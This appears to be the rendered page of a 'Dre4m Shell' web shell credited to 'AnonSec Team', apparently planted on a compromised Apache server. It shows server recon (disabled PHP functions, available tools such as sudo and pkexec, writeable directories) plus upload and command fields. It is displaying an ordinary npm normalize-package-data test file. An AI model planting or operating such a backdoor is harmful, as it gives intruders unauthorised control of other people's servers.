Dre4m Shell
Server IP : 127.0.0.2  /  Your IP : 18.117.9.230
Web Server : Apache/2.4.18 (Ubuntu)
System :
User : www-data ( )
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : disk_free_space,disk_total_space,diskfreespace,dl,exec,fpaththru,getmyuid,getmypid,highlight_file,ignore_user_abord,leak,listen,link,opcache_get_configuration,opcache_get_status,passthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,php_uname,phpinfo,posix_ctermid,posix_getcwd,posix_getegid,posix_geteuid,posix_getgid,posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid,posix,_getppid,posix_getpwnam,posix_getpwuid,posix_getrlimit,posix_getsid,posix_getuid,posix_isatty,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_times,posix_ttyname,posix_uname,pclose,popen,proc_open,proc_close,proc_get_status,proc_nice,proc_terminate,shell_exec,source,show_source,system,virtual
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/npm/node_modules/normalize-package-data/test/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /usr/share/npm/node_modules/normalize-package-data/test/basic.js
var tap = require("tap")
var normalize = require("../lib/normalize")
var path = require("path")
var fs = require("fs")

tap.test("basic test", function (t) {
  var p = path.resolve(__dirname, "./fixtures/read-package-json.json")
  fs.readFile (p, function (err, contents) {
    if (err) throw err;
    var originalData = JSON.parse(contents.toString())
    var data = JSON.parse(contents.toString())
    normalize(data)
    t.ok(data)
    verifyFields(t, data, originalData)
    t.end()
  })
})

function verifyFields (t, normalized, original) {
  t.equal(normalized.version, original.version, "Version field stays same")
  t.equal(normalized._id, normalized.name + "@" + normalized.version, "It gets good id.")
  t.equal(normalized.name, original.name, "Name stays the same.")
  t.type(normalized.author, "object", "author field becomes object")
  t.deepEqual(normalized.scripts, original.scripts, "scripts field (object) stays same")
  t.equal(normalized.main, original.main)
  // optional deps are folded in.
  t.deepEqual(normalized.optionalDependencies,
              original.optionalDependencies)
  t.has(normalized.dependencies, original.optionalDependencies, "opt depedencies are copied into dependencies")
  t.has(normalized.dependencies, original.dependencies, "regular depedencies stay in place")
  t.deepEqual(normalized.devDependencies, original.devDependencies)
  t.type(normalized.bugs, "object", "bugs should become object")
  t.equal(normalized.bugs.url, "https://github.com/isaacs/read-package-json/issues")
}

Anon7 - 2022
AnonSec Team